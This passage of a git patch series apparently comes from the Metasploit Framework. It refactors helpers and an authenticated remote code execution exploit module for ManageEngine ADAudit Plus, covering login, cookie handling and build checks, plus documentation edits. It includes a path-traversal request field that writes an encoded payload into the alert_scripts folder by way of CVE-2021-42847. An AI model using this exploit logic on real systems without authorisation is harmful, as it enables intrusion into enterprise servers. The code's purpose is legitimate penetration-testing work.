@@ -1,6 +1,9 @@ # -*- coding: binary -*- module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs + # Required for target_uri and normalize_uri + include Msf::Exploit::Remote::HttpClient + # Returns GPOWatcherData endpoint URI on the ManageEngine ADAudit Plus target. # # @return [String] ManageEngine ADAudit Plus GPOWatcherData endpoint URI @@ -10,7 +13,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs # Returns the Login URI on the ManageEngine ADAudit Plus target. # - # @return [String] ManageEnginge ADAudit Plus Login URI + # @return [String] ManageEngine ADAudit Plus Login URI def adaudit_plus_login_uri normalize_uri(target_uri.path, 'j_security_check') end diff --git a/lib/rex/proto/ms_dtyp.rb b/lib/rex/proto/ms_dtyp.rb index f9fde633a9..b71fb9fab9 100644 --- a/lib/rex/proto/ms_dtyp.rb +++ b/lib/rex/proto/ms_dtyp.rb @@ -78,6 +78,8 @@ module Rex::Proto::MsDtyp # which the RubySMB::Dcerpc::Uuid definition takes care of. class MsDtypGuid < RubySMB::Dcerpc::Uuid def self.random_generate + # Taken from the "D" format as specified in + # https://learn.microsoft.com/en-us/dotnet/api/system.guid.tostring?view=net-7.0 "{#{Rex::Text.rand_text_alphanumeric(8)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(12)}}".downcase end end diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 3ff65a65ee..34c99a41c6 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -301,7 +301,7 @@ class MetasploitModule < Msf::Exploit::Remote gpo_post_data = { 'DOMAIN_NAME' => @domain, - 'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed + 'html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed 'htmlReport' => payload.encoded } From a5e86a0c51018e9af722c42dff5d0d5eb8104259 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Thu, 2 Feb 2023 18:17:57 +0200 Subject: [PATCH 11/26] code review improvements, including renaming silent param --- .../http/manage_engine_adaudit_plus/login.rb | 16 +- .../manage_engine_adaudit_plus/target_info.rb | 232 ++++++++++++------ ...geengine_adaudit_plus_authenticated_rce.rb | 35 ++- 3 files changed, 185 insertions(+), 98 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb index b444e00abb..17cb18d493 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb @@ -11,7 +11,8 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login # @param auth_domain [String] The authentication domain to use to log in. # @param user [String] The username to log in as. # @param pass [String] The password to log in with. - # @param silent [Boolean] Whether to run in silent mode or not (silent mode means fewer print messages) + # @param only_get_cookie [Boolean] If this is enabled, the method will only try to obtain an + # 'adapcsrf' cookie that is required to perform API calls. # @return [Hash] Hash containing a `status` key, which is used to hold a # status value as an Integer value, a `message` key, which is used # to hold a message associated with the status value as a String, @@ -20,7 +21,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login # optional `configured_domains` key which maps to an Array of Strings, # each containing a domain name that has been configured to be used by # the ManageEngine ADAudit Plus target. - def adaudit_plus_login(auth_domain, user = '', pass = '', silent=false) + def adaudit_plus_login(auth_domain, user = '', pass = '', only_get_cookie = false) cookie_jar.clear # let's start fresh # Visit the default homepage to retrieve some of the baseline cookies needed to authenticate. @@ -45,7 +46,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login end # Visit the adaudit_plus_jump_to_js_uri page to grab more cookies needed for authentication. - vprint_status('Attempting to obtain the required cookies for authentication') unless silent + vprint_status('Attempting to obtain the required cookies for authentication') res_extra_cookies = send_request_cgi({ 'uri' => adaudit_plus_jump_to_js_uri, @@ -67,12 +68,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login } end - if silent - vprint_status('Trying to authenticate...') - else - print_status('Trying to authenticate...') - end - + vprint_status('Trying to authenticate...') post_vars = { 'forChecking' => '', 'j_username' => user.to_s, @@ -133,6 +129,6 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login # In order to get a cookie we can actually use, we need to obtain the configured domains via the API, # so we will call adaudit_plus_grab_configured_domains to retreive this information for us. # Note that adaudit_plus_obtain_configured_domains uses the same return format as this method. - adaudit_plus_grab_configured_domains(adapcsrf_cookie.value, silent) + adaudit_plus_grab_configured_domains(adapcsrf_cookie.value, only_get_cookie) end end diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb index 1cc1983654..891c06216e 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -7,40 +7,76 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo # Check that a target is likely running ManageEngine ADAudit Plus # - # @return [Array<Integer, String>] Array containing a status code (Integer) and status message (String). If the target is ADAudit Plus, the Array also contains the server response + # @return [Hash] Hash containing a `status` key, which is used to hold a + # status value as an Integer value, a `message` key, which is used + # to hold a message associated with the status value as a String, + # and an optional 'server_response' key, which is used to hold the + # response body (String) received from the server. def adaudit_plus_target_check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' }) - return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res + unless res + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed.' + } + end if res.code == 200 && res.body =~ /<title>ADAudit Plus/ - [adaudit_plus_status::SUCCESS, 'The target appears to be MangeEngine ADAudit Plus', res] - else - [adaudit_plus_status::UNEXPECTED_REPLY, 'The target does not appear to be MangeEngine ADAudit Plus'] + return { + 'status' => adaudit_plus_status::SUCCESS, + 'message' => 'The target appears to be MangeEngine ADAudit Plus', + 'server_response' => res.body + } end + + { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => 'The target does not appear to be MangeEngine ADAudit Plus', + } end # Extract the configured aliases for the configured Active Directory # domains from a HTTP response body. # # @param res_body [String] HTTP response body obtained via a GET request to the ADAudit Plus base path - # @return [Array<Integer, String>] Array containing a status code and status message. - # If AD domain aliases were found, the Array also contains an - # Array of Strings for the domain aliases. + # @return [Hash] Hash containing a `status` key, which is used to hold a + # status value as an Integer value, a `message` key, which is used + # to hold a message associated with the status value as a String, + # and an optional 'domain_aliases' key, which is used to hold an Array + # of Strings for the configured domain aliases. def adaudit_plus_grab_domain_aliases(res_body) - domain_info = res_body.scan(/<select id="domainName" name="domainName" tabindex="\d+".*?>(.*?)<\/select>/m)&.flatten&.first - domain_aliases = domain_info&.scan(/<option value="(.*?)">.*?<\/option>/m)&.flatten - if domain_aliases.blank? || !domain_aliases.kind_of?(Array) || domain_aliases == ['ADAuditPlus Authentication'] - return [adaudit_plus_status::NO_MATCH, 'No configured Active Directory domains were found.'] + doc = ::Nokogiri::HTML(res_body) + css_dom_name = doc.css('select#domainName')&.first + + no_match_response = { + 'status' => adaudit_plus_status::NO_MATCH, + 'message' => 'No configured Active Directory domains were found.' + } + + return no_match_response if css_dom_name.blank? + + css_configured_domains = css_dom_name.css('option') + return no_match_response if css_configured_domains.blank? + + domain_aliases = [] + css_configured_domains.each do |domain| + next unless domain&.keys&.include?('value') + value = domain['value'] + next if value == 'ADAuditPlus Authentication' + domain_aliases << value end - # remove 'ADAuditPlus Authentication' from the configured domains if it is listed - domain_aliases.delete('ADAuditPlus Authentication') + return no_match_response if domain_aliases.empty? - [adaudit_plus_status::SUCCESS, "Identified #{domain_aliases.length} configured domain alias(es): #{domain_aliases.join(', ')}", domain_aliases] + { + 'status' => adaudit_plus_status::SUCCESS, + 'message' => "Identified #{domain_aliases.length} configured domain alias(es): #{domain_aliases.join(', ')}", + 'domain_aliases' => domain_aliases + } end # Performs an API call to obtain the configured domains. The adapcsrf @@ -48,17 +84,18 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo # further authenticated actions. # # @param adapcsrf_cookie [String] A valid adapcsrf_cookie obtained via a successful login action - # @param silent [Boolean] Whether to run in silent mode or not (silent mode means fewer print messages) + # @param only_get_cookie [Boolean] If this is enabled, the method will only try to obtain an + # 'adapcsrf' cookie that is required to perform API calls. # @return [Hash] Hash containing a `status` key, which is used to hold a - # status value as an Integer value, a `message` key, which is used - # to hold a message associated with the status value as a String, + # status value as an Integer value, an optional `message` key, which is + # used to hold a message associated with the status value as a String, # an optional `adapcsrf_cookie` key which maps to a String containing the # adapcsrf cookie to be used for authentication purposes, and an # optional `configured_domains` key which maps to an Array of Strings, # each containing a domain name that has been configured to be used by # the ManageEngine ADAudit Plus target. - def adaudit_plus_grab_configured_domains(adapcsrf_cookie, silent=false) - vprint_status('Attempting to obtain the list of configured domains...') unless silent + def adaudit_plus_grab_configured_domains(adapcsrf_cookie, only_get_cookie = false) + vprint_status('Attempting to obtain the list of configured domains...') unless only_get_cookie res = send_request_cgi({ 'uri' => adaudit_plus_configured_domains_uri, @@ -69,69 +106,85 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo 'adapcsrf' => adapcsrf_cookie.to_s } }) + + if only_get_cookie + purpose = 'obtain the adapcsrf cookie required to perform API calls' + else + purpose = 'obtain the list of configured domains' + end + unless res return { 'status' => adaudit_plus_status::CONNECTION_FAILED, - 'message' => 'Connection failed while attempting to obtain the list of configured domains.' + 'message' => "Connection failed while attempting to #{purpose}." } end - configured_domains = [] - if res.code == 200 && res.body.include?('domainFullList') && !silent - begin - domain_info = JSON.parse(res.body) - if domain_info.blank? || !domain_info.include?('domainFullList') || domain_info['domainFullList'].empty? - print_warning('Failed to identify any configured domains.') - else - domain_full_list = domain_info['domainFullList'] - domain_full_list.each do |domain| - next unless domain.is_a?(Hash) && domain.key?('name') - - domain_name = domain['name'] - next if domain_name.empty? - - configured_domains << domain_name - end - end - rescue JSON::ParserError => e - print_error('Failed to identify any configured domains - The server response did not contain valid JSON.') - print_error("Error was: #{e.message}") - end + # if we didn't get an expected response, we should always return since we won't be able to return the domains and/or a valid cookie + unless res.code == 200 && res.body.include?('domainFullList') + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => "Unexpected reply while attempting to #{purpose}." + } end - + + # try to obtain the adapcsrf cookie adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first got_cookie = adapcsrf_cookie && adapcsrf_cookie.value.present? ? true : false - if configured_domains.empty? - if got_cookie - return { - 'status' => adaudit_plus_status::NO_MATCH, - 'message' => 'Failed to obtain the list of configured domains.', - 'adapcsrf_cookie' => adapcsrf_cookie.value - } + # if we have no valid cookie there is no point in continuing + unless got_cookie + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'Failed to obtain the adapcsrf cookie required to perform API calls' + } + end + + # if we only wanted to obtain the cookie, we can return here + if only_get_cookie + return { + 'status' => adaudit_plus_status::SUCCESS, + 'adapcsrf_cookie' => adapcsrf_cookie.value + } + end + + # if we are here, we want to obtain the configured domains as well as the cookie + configured_domains = [] + begin + domain_info = JSON.parse(res.body) + if domain_info && domain_info.include?('domainFullList') && !domain_info['domainFullList'].empty? + domain_full_list = domain_info['domainFullList'] + domain_full_list.each do |domain| + next unless domain.is_a?(Hash) && domain.key?('name') + + domain_name = domain['name'] + next if domain_name.empty? + + configured_domains << domain_name + end else - return { - 'status' => adaudit_plus_status::NO_ACCESS, - 'message' => 'Failed to obtain the required post-auth adapcsrf cookie' - } + print_error('Failed to identify any configured domains.') end + rescue JSON::ParserError => e + print_error('Failed to identify any configured domains - The server response did not contain valid JSON.') + print_error("Error was: #{e.message}") + end + + if configured_domains.empty? + return { + 'status' => adaudit_plus_status::NO_MATCH, + 'message' => 'Failed to obtain the list of configured domains.', + 'adapcsrf_cookie' => adapcsrf_cookie.value + } end print_status("Found #{configured_domains.length} configured domain(s): #{configured_domains.join(', ')}") - if got_cookie - # we don't need to return a message here - return { - 'status' => adaudit_plus_status::SUCCESS, - 'adapcsrf_cookie' => adapcsrf_cookie.value, - 'configured_domains' => configured_domains - } - else - return { - 'status' => adaudit_plus_status::NO_ACCESS, - 'message' => 'Failed to obtain the required post-auth adapcsrf cookie', - 'configured_domains' => configured_domains - } - end + # we don't need to return a message here + { + 'status' => adaudit_plus_status::SUCCESS, + 'adapcsrf_cookie' => adapcsrf_cookie.value, + 'configured_domains' => configured_domains + } end # Check the build number for the ADAudit Plus installation @@ -139,7 +192,11 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo # @param adapcsrf_cookie [String] A valid ADAP CSRF cookie for API calls. # @see adaudit_plus_login The function which can be called to obtain a # valid CSRF cookie that can be used by this code. - # @return [Array<Integer, String>] Array containing a status code (Integer) and status message (String). If the build number is obtained, the Array also contains a Reg::Version object. + # @return [Hash] Hash containing a `status` key, which is used to hold a + # status value as an Integer value, a `message` key, which is used + # to hold a message associated with the status value as a String, + # and an optional 'build_version' key, which is used to hold an object + # of type Reg::Version if the build number was successfully obtained. def adaudit_plus_grab_build(adapcsrf_cookie) vprint_status('Attempting to obtain the ADAudit Plus build number') @@ -150,21 +207,40 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo 'vars_post' => { 'adapcsrf' => adapcsrf_cookie.to_s } }) - return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res + unless res + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed while attempting to obtain the build number.' + } + end + unless res.code == 200 - return [adaudit_plus_status::UNEXPECTED_REPLY, "Received unexpected HTTP response #{res.code} when attempting to obtain the build number."] + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => "Received unexpected HTTP response #{res.code} when attempting to obtain the build number." + } end build = res.body.scan(/"buildNumber":"(.+?)",/)&.flatten&.first - return [adaudit_plus_status::NO_MATCH, 'No build number was obtained.'] if build.blank? - - begin - build_version = Rex::Version.new(build) - rescue ArgumentError - return [adaudit_plus_status::UNEXPECTED_REPLY, "Recieved an invalid build number: #{build}"] + if build.blank? + return { + 'status' => adaudit_plus_status::NO_MATCH, + 'message' => 'No build number was obtained.' + } + end + + unless build.strip =~ /^\d{4}$/ + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => "Recieved an invalid build number: #{build}" + } end - [adaudit_plus_status::SUCCESS, "The target is ADAudit Plus #{build}", build_version] + { + 'status' => adaudit_plus_status::SUCCESS, + 'message' => "The target is ADAudit Plus #{build}", + 'build_version' => Rex::Version.new(build) + } end # Check if the GPOWatcherData endpoint is available diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 34c99a41c6..f88669dfc4 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -325,8 +325,9 @@ class MetasploitModule < Msf::Exploit::Remote end def check - target_check_status, target_check_msg, target_check_res = adaudit_plus_target_check - case target_check_status + target_check_results = adaudit_plus_target_check + target_check_msg = target_check_results['message'] + case target_check_results['status'] when adaudit_plus_status::CONNECTION_FAILED return CheckCode::Unknown(target_check_msg) when adaudit_plus_status::UNEXPECTED_REPLY @@ -335,13 +336,17 @@ class MetasploitModule < Msf::Exploit::Remote vprint_status(target_check_msg) end + target_check_res = target_check_results['server_response'] + # in order to trigger the final payload in the exploit method, we will need to send an authentication request to ADAudit Plus with incorrect active directory credentials # if the user didn't provide an active directory domain, we can try to extract the FQDN for a configured domain from the server response - domain_alias_status, domain_alias_msg, domain_aliases = adaudit_plus_grab_domain_aliases(target_check_res.body) - if domain_alias_status == adaudit_plus_status::NO_MATCH + domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res) + domain_alias_msg = domain_alias_results['message'] + if domain_alias_results['status'] == adaudit_plus_status::NO_MATCH return CheckCode::Safe(domain_alias_msg) end + domain_aliases = domain_alias_results['domain_aliases'] if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain) vprint_status(domain_alias_msg) @domain_alias = domain_aliases.first @@ -351,6 +356,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") end + print_status("Attempting to authenticate to #{auth_domain} with username: #{username} and password: #{password}") login_results = adaudit_plus_login(auth_domain, username, password, false) login_msg = login_results['message'] case login_results['status'] @@ -371,14 +377,16 @@ class MetasploitModule < Msf::Exploit::Remote @adapcsrf_cookie = login_results['adapcsrf_cookie'] # check the build version to see if we can actually exploit the target - build_status, build_msg, build_version = adaudit_plus_grab_build(@adapcsrf_cookie) - case build_status + build_results = adaudit_plus_grab_build(@adapcsrf_cookie) + build_msg = build_results['message'] + case build_results['status'] when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY return CheckCode::Unknown(build_msg) when adaudit_plus_status::NO_MATCH return CheckCode::Detected(build_msg) end + build_version = build_results['build_version'] if build_version < Rex::Version.new('7004') @exploit_method = 'default' return CheckCode::Appears("The target is ADAudit Plus #{build_version}") @@ -412,6 +420,7 @@ class MetasploitModule < Msf::Exploit::Remote if @adapcsrf_cookie.blank? # let's clear the cookie jar and try to authenticate cookie_jar.clear + print_status("Attempting to authenticate to #{@domain_alias} with username: #{username} and password: #{password}") login_results = adaudit_plus_login(auth_domain, username, password, false) login_msg = login_results['message'] case login_results['status'] @@ -438,17 +447,23 @@ class MetasploitModule < Msf::Exploit::Remote # time to trigger the payload if @domain_alias.nil? # this means check didn't run, so we need to obtain the configured active directory domains - target_check_status, target_check_msg, target_check_res = adaudit_plus_target_check - unless target_check_status == adaudit_plus_status::SUCCESS + target_check_results = adaudit_plus_target_check + target_check_msg = target_check_results['message'] + unless target_check_results['status'] == adaudit_plus_status::SUCCESS print_error('Failed to obtain the configured Active Directory domain aliases') fail_with(Failure::Unknown, target_check_msg) end + target_check_res = target_check_results['res'] - domain_alias_status, domain_alias_msg, domain_aliases = adaudit_plus_grab_domain_aliases(target_check_res.body) - if domain_alias_status == adaudit_plus_status::NO_MATCH + # in order to trigger the final payload in the exploit method, we will need to send an authentication request to ADAudit Plus with incorrect active directory credentials + # if the user didn't provide an active directory domain, we can try to extract the FQDN for a configured domain from the server response + domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body) + domain_alias_msg = domain_alias_results['message'] + if domain_alias_results['status'] == adaudit_plus_status::NO_MATCH fail_with(Failure::NotVulnerable, domain_alias_msg) end + domain_aliases = domain_alias_results['domain_aliases'] if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain) vprint_status(domain_alias_msg) @domain_alias = domain_aliases.first From ba687c49aa260cb1ec6cb60ec301ce93ff278352 Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Fri, 10 Feb 2023 17:19:51 -0600 Subject: [PATCH 12/26] Fix a few typos --- .../remote/http/manage_engine_adaudit_plus/target_info.rb | 4 ++-- .../http/manageengine_adaudit_plus_authenticated_rce.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb index 891c06216e..bdb00e2ed4 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -32,7 +32,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo 'server_response' => res.body } end - + { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => 'The target does not appear to be MangeEngine ADAudit Plus', @@ -232,7 +232,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo unless build.strip =~ /^\d{4}$/ return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, - 'message' => "Recieved an invalid build number: #{build}" + 'message' => "Received an invalid build number: #{build}" } end diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index f88669dfc4..132fad1ae6 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -453,7 +453,7 @@ class MetasploitModule < Msf::Exploit::Remote print_error('Failed to obtain the configured Active Directory domain aliases') fail_with(Failure::Unknown, target_check_msg) end - target_check_res = target_check_results['res'] + target_check_res = target_check_results['server_response'] # in order to trigger the final payload in the exploit method, we will need to send an authentication request to ADAudit Plus with incorrect active directory credentials # if the user didn't provide an active directory domain, we can try to extract the FQDN for a configured domain from the server response From 8871b2955bded56591085f71d4e52cc3c9b7024e Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Fri, 10 Feb 2023 18:29:59 -0600 Subject: [PATCH 13/26] Fix up Active Directory name so we appropriately use uppercase --- ...manageengine_adaudit_plus_authenticated_rce.rb | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 132fad1ae6..203f06d122 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -219,7 +219,8 @@ class MetasploitModule < Msf::Exploit::Remote @adapcsrf_cookie = login_results['adapcsrf_cookie'] end - # we need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name when creating the alert profile + # We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name + # when creating the alert profile @ps1_script_name = create_alert_script end @@ -338,8 +339,9 @@ class MetasploitModule < Msf::Exploit::Remote target_check_res = target_check_results['server_response'] - # in order to trigger the final payload in the exploit method, we will need to send an authentication request to ADAudit Plus with incorrect active directory credentials - # if the user didn't provide an active directory domain, we can try to extract the FQDN for a configured domain from the server response + # In order to trigger the final payload in the exploit method, we will need to send an authentication request to + # ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain, + # we can try to extract the FQDN for a configured domain from the server response domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res) domain_alias_msg = domain_alias_results['message'] if domain_alias_results['status'] == adaudit_plus_status::NO_MATCH @@ -446,7 +448,7 @@ class MetasploitModule < Msf::Exploit::Remote # time to trigger the payload if @domain_alias.nil? - # this means check didn't run, so we need to obtain the configured active directory domains + # this means check didn't run, so we need to obtain the configured Active Directory domains target_check_results = adaudit_plus_target_check target_check_msg = target_check_results['message'] unless target_check_results['status'] == adaudit_plus_status::SUCCESS @@ -455,8 +457,9 @@ class MetasploitModule < Msf::Exploit::Remote end target_check_res = target_check_results['server_response'] - # in order to trigger the final payload in the exploit method, we will need to send an authentication request to ADAudit Plus with incorrect active directory credentials - # if the user didn't provide an active directory domain, we can try to extract the FQDN for a configured domain from the server response + # In order to trigger the final payload in the exploit method, we will need to send an authentication request to + # ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain, + # we can try to extract the FQDN for a configured domain from the server response. domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body) domain_alias_msg = domain_alias_results['message'] if domain_alias_results['status'] == adaudit_plus_status::NO_MATCH From aede036b026bce022ae271cccc6ad2d3a5c98220 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Fri, 10 Mar 2023 02:17:52 +0200 Subject: [PATCH 14/26] additional changes from code review --- ...geengine_adaudit_plus_authenticated_rce.md | 17 +++++-- .../manage_engine_adaudit_plus/target_info.rb | 5 +- ...geengine_adaudit_plus_authenticated_rce.rb | 47 ++++++++++++++++--- 3 files changed, 56 insertions(+), 13 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md index a7306e5c3a..c5138da247 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -17,15 +17,24 @@ payload has been tested successfully. This module will automatically delete the created alert profile before completing. This happens even if no shell was obtained. +It should be noted that during a single run, the module will typically authenticate to the target several times. +This is because ADAudit Plus is very strict about cookies. +After a user performs a successful authentication request, the server sends a cookie that can be used to visit the dashboard. +However, in order to interact with most of the API endpoints, the user must then perform a request to `api/json/configuredDomainsList`. +Only then does the server return a cookie that can be used to interact with other endpoints. +If the above requests are not performed in this exact order, +or additinal requests are performed before the final cookie is obtained, the entire authentication chain needs to be repeated. + This module requires valid credentials for an account with the privileges to create alert scripts. -It has been successfully tested against ManageEngine ADAudit Plus builds [7003](https://archives2.manageengine.com/active-directory-audit/7003/ManageEngine_ADAudit_Plus_x64.exe) -and [7005](https://archives2.manageengine.com/active-directory-audit/7005/ManageEngine_ADAudit_Plus_x64.exe) running on Windows Server 2012 R2. +It has been successfully tested against ManageEngine ADAudit Plus builds +[7003](https://archives2.manageengine.com/active-directory-audit/7003/ManageEngine_ADAudit_Plus_x64.exe) and +[7005](https://archives2.manageengine.com/active-directory-audit/7005/ManageEngine_ADAudit_Plus_x64.exe) running on Windows Server 2012 R2. Successful exploitation will result in RCE as the user running ManageEngine ADAudit Plus, which will typically be the local administrator. ## Installation Information -Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/). Versions 7005 and prior -are vulnerable by default, so no special configuration is required after installing the application. +Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/). +Versions 7005 and prior are vulnerable by default, so no special configuration is required after installing the application. After running the installer, you can launch ADAudit Plus by opening Command Prompt with administrator privileges and then running: `<install_dir>\bin\run.bat`. diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb index bdb00e2ed4..a87fefcb62 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -66,7 +66,6 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo css_configured_domains.each do |domain| next unless domain&.keys&.include?('value') value = domain['value'] - next if value == 'ADAuditPlus Authentication' domain_aliases << value end @@ -74,7 +73,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo { 'status' => adaudit_plus_status::SUCCESS, - 'message' => "Identified #{domain_aliases.length} configured domain alias(es): #{domain_aliases.join(', ')}", + 'message' => "Identified #{domain_aliases.length} configured authentication domain(s): #{domain_aliases.join(', ')}", 'domain_aliases' => domain_aliases } end @@ -221,7 +220,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo } end - build = res.body.scan(/"buildNumber":"(.+?)",/)&.flatten&.first + build = res.body.scan(/"buildNumber":"(\s{0,}\d{4}\s{0,})",/)&.flatten&.first if build.blank? return { 'status' => adaudit_plus_status::NO_MATCH, diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 203f06d122..dbca7d2eae 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -167,7 +167,7 @@ class MetasploitModule < Msf::Exploit::Remote case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::Unknown, login_msg) - when adaudit_plus_status::NO_ACCESS + when adaudit_plus_status::NO_ACCESS, adaudit_plus_status::NO_MATCH fail_with(Failure::NoAccess, login_msg) end @@ -210,9 +210,11 @@ class MetasploitModule < Msf::Exploit::Remote login_results = adaudit_plus_login(auth_domain, username, password, true) login_msg = login_results['message'] case login_results['status'] - when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY + when adaudit_plus_status::CONNECTION_FAILED fail_with(Failure::Unknown, login_msg) - when adaudit_plus_status::NO_ACCESS + when adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::UnexpectedReply, login_msg) + when adaudit_plus_status::NO_ACCESS, adaudit_plus_status::NO_MATCH fail_with(Failure::NoAccess, login_msg) end @@ -349,11 +351,19 @@ class MetasploitModule < Msf::Exploit::Remote end domain_aliases = domain_alias_results['domain_aliases'] + # if the only configured domain is the default domain, 